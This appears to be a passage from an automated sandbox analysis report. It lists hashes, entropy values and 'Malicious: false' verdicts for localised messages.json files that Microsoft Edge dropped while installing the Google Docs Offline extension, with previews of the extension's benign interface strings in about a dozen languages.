Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
